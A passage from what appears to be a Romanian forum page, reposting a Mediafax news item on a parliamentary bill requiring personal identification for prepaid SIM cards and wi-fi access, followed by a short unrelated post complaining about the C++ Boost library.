reglementa acest domeniu. ”Orice om care va de?ine o cartel? prepl?tit? are la dispozi?ie, de la intrarea în vigoare a legii, un an în care poate consuma creditul sau poate s? mearg? la operator ?i s?-?i declare datele. Dac? nu, num?rul va fi anulat. Legea intr? în vigoare, dac? textul va fi adopatat a?a, la 1 ianuarie 2015. Pentru prepay se vor da datele de identificare ale persoanei din cartea de identitate, pa?aport sau permis de conducere. Referitor la accesul la internet în re?ea wi-fi, se identific? doar persoana. E procedura cunoscut? care se aplic? ?i în Germania: î?i dai num?rul de telefon mobil ?i prime?ti un cod cu care te autentifici”, a spus Oajdea. El a ar?tat c? deputa?ii nu au fost de acord cu re?inerea datelor de trafic, m?sur? care vine în contradic?ie ?i cu decizia CEDO, de?i SRI a solicitat ?i acest lucru. ”Date de trafic înseamn?, la internet, orice pagin? accesat?. Nu s-a aprobat a?a ceva, ci doar identificarea utilizatorului”, a spus Oajdea. La rândul s?u, generalul SRI Dumitru Dumbrav?, prezent la dezbaterea ini?iativei legislative în cadrul comisiilor, a evitat s? fac? declara?ii în leg?tur? cu forma în care proiectul a fost adoptat. ”Suntem mul?umi?i de faptul c? s-a votat, pentru c? am fost ni?te sus?in?tori ai legii”, a fost singurul comentariu f?cut de Dumbrav?. Comisiile Juridic? ?i de IT din Camera Deputa?ilor au elaborat, miercuri, Raport comun la proiectul de lege privind utilizarea cartelelor prepay, acesta fiind adoptat cu 14 voturi ”pentru”, 4 voturi ”împotriv?” ?i o ab?inere. Raportul va intra în dezbaterea plenului Camerei ?i va fi supus votului acestui for legislativ cel mai probabil în sesiunea extraordinar? de s?pt?mâna viitoare. Camera Deputa?ilor este for decizional. Sursa: Comisii: Utilizarea cartelelor prepay, din 2016 doar în baza datelor personale de identificare - VIDEO - Mediafax
  23. Boost::este::de::cacat(); E imensa, greu de invatat si gruparea claselor e de rahat. Recomand scrierea unor clase proprii, special pentru proiectul la care se lucreaza, clase care ulterior pot fi extrem de usor refolosite. Cu alte cuvinte, esti programator harnic o singura data, apoi poti fi unul lenes si eficient.
×
×
  • Create New...